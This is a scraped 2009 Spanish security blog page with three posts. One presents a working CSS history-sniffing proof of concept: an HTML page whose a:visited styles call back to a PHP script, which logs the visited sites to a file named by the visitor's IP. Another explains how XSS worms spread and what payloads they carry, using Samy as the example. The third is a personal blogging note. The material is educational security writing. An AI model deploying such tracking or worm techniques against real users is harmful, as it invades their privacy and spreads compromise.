5 0verl0ad Labs: 2009 Saludos! Son las 5:41 AM y mañana tengo clase de "Citología e Histología Animal y Vegetal", despues "Bioquímica", &quo...

martes, 17 de febrero de 2009

CSS Attacks I : CSS History Hack

Saludos!


Este es la primera publicación que voy a hacer sobre el tema, y va ser más bien una pequeña introducción al tema con un ejemplo bien sencillo sacado del scanner en CSS que me linkeó S e t h hace un par de días.


Bien, a qué nos referimos cuando hablamos de CSS attacks... nos referimos a aquellos ataques que, o bien se basan en CSS (Cascade Style Sheet) o bien lo usan como vector. Un ejemplo, que en cierto modo usa de CSS para llevarse a cabo, es el cickjacking, tema sobre el cual hablaremos en otras entregas.



El peligro de los ataques CSS reside en que en principio no hay forma de protección, ya que si tú visitas una web maliciosa, normalmente si se intenta realizar algún tipo de ataque, éste se intenta en un 99% a través de malware en Javascript. Por el contrario, si un usuario bloqueaba la ejecución de código JS, estaba "blindado" contra ataques de este tipo.


Es a finales de verano/principio de otoño cuando Lix me estuvo acribillando a links sobre esto de usar CSS para ataques (él en concreto me estuvo hablando de aquello del clickjacking), y sí, fue una especie de "revolución bloggera", era raro el blog que no había publicado algo sobre el tema. Y es que, ciertamente, cuando una vulnerabilidad se le da mucha fama es lo que pasa. Cuando hoy en día encontramos vulnerabilidades de gran importancia... si no se las promociona quedan en un grupo reducido de bugtraqs y advisorys de las webs, como no, de habla inglesa.


Bueno, retornando a lo que es el tema en sí, yo he querido ejemplificar (más que nada para abrir boca y que los lectores esperen con mayor ansia los siguiente capitulos sobre el tema) algo de ataques en CSS con un logger de sitios visitados (incido, la idea no es mía, la ví en un lnk que me ruló S e t h, pero el PoC sí es mío).

Como todos sabemos, los enlaces de las webs se pueden "embellecer" aplicandole atributos CSS como pueden ser hover (para que cambie el diseño al depositar el cursor sobre el link), visited, etc... Y también sabemos, que existen ciertos elementos en los cuales podemos hacer referencias a elementos externos. Hacia estos elementos externos salen peticiones GET desde nosotros para recopilar su contenido. Bien, ¿y que pasa con esto?. Pues que si se hacen peticiones de tipo GET hacia elemtnos del exterior... podemos incluir el seteo de variables GET y de esta forma logear cierta información, hacer que el usuario realice algún tipo de acción, etc...


Si nosotros declaramos en a:visited que mande una petición a otro archivo nuestro, y ponemos un listado de webs, podremos loggear en qué webs ha entrado. Aquí os dejo la prueba de concepto:


<head><title>Proof of Concept -> CSS History Hack</title></head>
<body>
<style>
a.link1:visited{
background: url(poc.php?visited=1);
}
a.link2:visited{
background: url(poc.php?visited=2);
}
a.link3:visited{
background: url(poc.php?visited=3);
}
</style>


<h1>Proof of Concept for CSS Hystory Hack</h1>
<br><br><center>
<a href="http://google.com" class="link1">Google</a><br>
<a href="http://0verl0ad.blogspot.com" class="link2">0V3RL04D 1N TH3 N3T</a><br>
<a href="http://unam.mx" class="link3">Primera web que me salió por google XD</a><br>

<?php
$file = $_SERVER['REMOTE_ADDR'].'.txt';
$abierto = fopen($file, a);
switch($_GET['visited']){
case '1':
fwrite($abierto," Google,");
break;
case '2':
fwrite($abierto, "\nMi blog,");
break;
case '3':
fwrite($abierto, "\nUnam.mx");
break;
}
fclose($abierto);
echo '<a href='.$_SERVER['REMOTE_ADDR'].'.txt> Click aqui para ver tu historial </a>';
?>
5 0verl0ad Labs: 2009 Saludos! Este es la primera publicación que voy a hacer sobre el tema, y va ser más bien una pequeña introducción al tema con un ejempl...

lunes, 16 de febrero de 2009

Otra vez en ON

Saludos lectores... (si es que tengo alguno XD).


Cierto es que he descuidado bastante el blog, si bien las circunstancias se escapan del objetivo del posts (lo siento), sí que voy a pedir disculpas a las pocas personas que leían algo de aquí y que dejaron de leer por mis propios problemas.


Ahora he vuelto a publicar aquí, eso sí cambiando ciertas cosas, como mi cambio de nick. En principio no sé muy bien con quien continuar publicando, pero llevo un par de días volviendo a leer toda la movida que se montó a finales de verano/principio de otoño con el tema del clickjacking (Menuda semana me dió mi bibliotecario preferido AKA Lix; por cierto tengo ganas de volver a hablar contigo, he tenido que suplirte por multis con seth y plaga, pero no es lo mismo que tus charlas repletas de links XDDD). Sí aquel tema que se propagó como el fuego en gasolina por todos los blogs. Algunos dirán que es materia ya conocida... pero a día de hoy seguimos haciendo papers sobre SQL injection y también es tema ya trabajado desde hace años.



Bueno, la cuestion es que en dos días que estaba releyendo referencias que me dió Lix, y hablando con S e t h, resulta que ahora el clickjacking ha sido incluido en una categoría de ataque denominada "CSS Attacks" (Si sí, CSS de Hojas Estilo Cascada) por algunos autores, y bueh leyendo por ahí he seguido investigando esto de los ataques utilizando CSS. Así que estaba pensando en hacer un ciclo de publicaciones (tres o cuatro) similar al que ya realicé hace tiempo sobre el protocolo HTTP, ya que en español apenas he encontrado unas pocas referencias y las explicaciones son muy simplesm (prometo poner PoCs)


Otra idea que he tenido al observar códigos de malwares en JavaScript y XSS es la idea de publicar un par más de formas de realizar bypassing a filtros (algunas formas descubiertas por experiencia propia y otras sacadas de sources de otras personas), además de hacer una CheatSheet como recopilación esquematizada de todos los expuestos en el blog.

Y por último, quisiera saber si hay lectores que sigan el blog, así que por favor si estás leyendo esto (de aquí hasta el 16 de Marzo) mandame un mail a mi dirección (Camaleon__81 [\at/] Hotmail.com) o postea en este mismo thread. También quisiera saber qué es lo que más te gusta del blog y qué temas quieres que tratemos de aquí a los próximos meses (S e t h SQL no me lo pidas que ya te conozco :P, hay mucho en la red sobre eso)


Byt3z
5 0verl0ad Labs: 2009 Saludos lectores... (si es que tengo alguno XD). Cierto es que he descuidado bastante el blog, si bien las circunstancias se escapan del...

XSS Woms: El terror de las redes sociales

Hoy vamos a hablar de los XSS Worms, un nuevo peligro en la red que combina una de las vulnerabilidad es más comunes que podemos encontrar y un vector de propagación de una magnitud calificada en algunos casos como "mayor que el envio de mails entre listas de correo".



En una red donde encontramos una gran cantidad de vulnerabilidad es de tipo XSS (algunos auditores estiman de porcentajes cercanos al 80%) en aplicaciones web, no es de extrañar que también podamos encontrarlos en las famosas "redes sociales". Las redes sociales son uno de los proyectos con más éxito de la actualidad, con cifras astronómicas (véase los más de 180 millones de usuarios que se estiman que tiene Myspace), consistente en que un usuario tiene un espacio personal, con su perfil, subida de fotos suyas, etc.. y un listado de amigos a los que agrega y con los que mantiene una interrelación a través de la red.


Esta interrelación con esos "amigos" no queda ahí, ya que cuando visitamos los perfiles de nuestros amigos, podemos ver sus amigos (en la mayoría de redes) y al entrar al de alguno de ellos los amigos de sus amigos... y así sucesivamente podemos tener una basta colección de perfiles visitados. Desconozco el número de amigos de promedio qeu suele tener cada usuario, pero lo que sí es seguro que si aplicamos la exponencialida d de poder visitar los perfiles de otros usuarios hablamos de cifras indudablemente de una magnitud increíble, y podemos acceder a ellas con un simple click...


Volviendo a la parte que nos interesa, si encontramos un campo vulnerable a XSS permanente, tal como puede ser el nombre, la descripción, el título de una foto o algun otro que aparezca en el perfil que tus amigos y otras personas ven, podríamos "atacar" a todas esas personas.

Muchas personas estarán pensando en un cookie stealing a gran escala, pero siento deciros que entonces hablaríamos de la explotación prototípica que hacemos de los xss, a parte, de que estas redes ya incorporan sistemas de sesiones (no pongo la mano en el fuego, pero creo que por ejemplo tuenti ya las usa) en los cuales, la asignación de un identificador (ID) se realiza a partir de funciones de tiempo, por lo cual probablemente nos sea de poca utilidad. Pero como bien acabo de decir, esto sería un uso vulgar y común de un XSS y que no aporta nada nuevo, pero... ¿Y si usaramos el XSS como un vehículo de propagación y lanzamiento de algún payload? Y si por ejemplo... ¿Hacemos que cada persona que mire tu perfil se "infecte" y agregue a su perfil también el código malicioso?


Bien bien, en esto consisten los XSS Worms, en difundirse a través de los visitantes de tu perfil y al mismo tiempo introducir algún payload (P.e.: poner un lnk de descarga de un troyano a través de la simulación de que es el propio dominio que requiere la instalación de algún objeto, mandar MPs con SPAM, explotar alguna vulne de los navegadores, etc...).


Los XSS Worms tienen una velocidad de propagación muy alta, aquí os dejo un screenshoot de un gráfico de la propagación de Samy, el más famoso XSS worm que atacó la red de Myspace:
La propagación está basada en el fenómeno que ya he comentado antes, el hecho de que si yo (individuo A) tengo coloco en mi perfil el código malicioso, si 7 personas ven mi perfil en el último cuarto de hora (individuos A'), ellos tambíen quedarán infectados. Si en el siguiente cuarto de hora, el perfil de esas siete personas, es observador por otras siete personas (individuos A'' ), tendremos que en media hora tendremos un total de infectados (TI), de:

Ti = ( A' )2 + A' => Ti = 56

Como vemos, en el supuesto de 7 personas (que incluso podríamos considerarlo como un promedio bajo de visitas recibidas en un cuarto de hora) estamos hablando de que en sólo media hora tenemos 56 personas infectadas... imaginad cuando pasen 12 horas la cantidad de gente infectada que existiría. Es por ello, que Samy marcó un hito en la historia convirtiendose en el malware con la velocidad de propagación más rapida de toda la historia.



Ahora vayamos al meollo de las cosas, ¿en qué consiste un XSS Worms?. Un worm de este tipo, suele tener un source suele tener dos grandes apartados. El primero de ellos, es la parte encargada de la infección del visitante, consistente normalmente en un código en AJAX cuyo objetivo es que cuando el visitante ejecuta el código malicoso en su navegador, se envíe desde este una petición de tipo POST que agregue en el formulario vulnerable a XSS el código malicioso del worm, así tendremos asegurada la propagación de los A' hacia los A'' y de estos a los A''' y así sucesivamente.


La otra parte es el payload. Un payload, en términos de virus (e incluso en exploits, por ejemplo cuando conseguimos shell explotando un BoF) se trata de los efectos malificiosos que provoca. Un efecto devastador, (a parte de los payloads que podemos imaginar) es la gran cantidad de tráfico que podemos generar con nuestro gusano. Y por gran cantidad, estamos hablando de llegar a producir denegaciones de servicios provocadas por los recursos consumidos.


Otra característica a tener en cuenta a la hora de programar un worm es el uso de tecnicas de ofuscación de código y bypass para saltar los filtros... a parte de tener portabilidad en el mayor número de navegadores posibles, de esta forma la probabilidad de infectar usuarios es de 98 sobre cada 100. Por último todo esto debe de venir acompañado de un bajo peso. En este sentido, navegando por uno de esos links que llegan a mis manos en las multiconversac iones que mantengo con S e t h y Plaga ( en las cuales normalmente siempre sacamos algo de provecho (véase hacer este pequeño paper)) encontré cierto concurso de Ha.ckers.org que ganaron Giorgio Maone and Sirdarckcat con un XSS Worm de 161 bytes.

En conclusión, podemos decir que nunca hay que menospreciar un XSS, puesto que podemos lograr mil cosas, desde subir una XSS Shell, robos de identidad a gran escala, hasta lograr un DoS en sites "relativamente importantes", tal y como son hoy en día las redes sociales.
5 0verl0ad Labs: 2009 Hoy vamos a hablar de los XSS Worms, un nuevo peligro en la red que combina una de las vulnerabilidad es más comunes que podemos encontrar y...
< >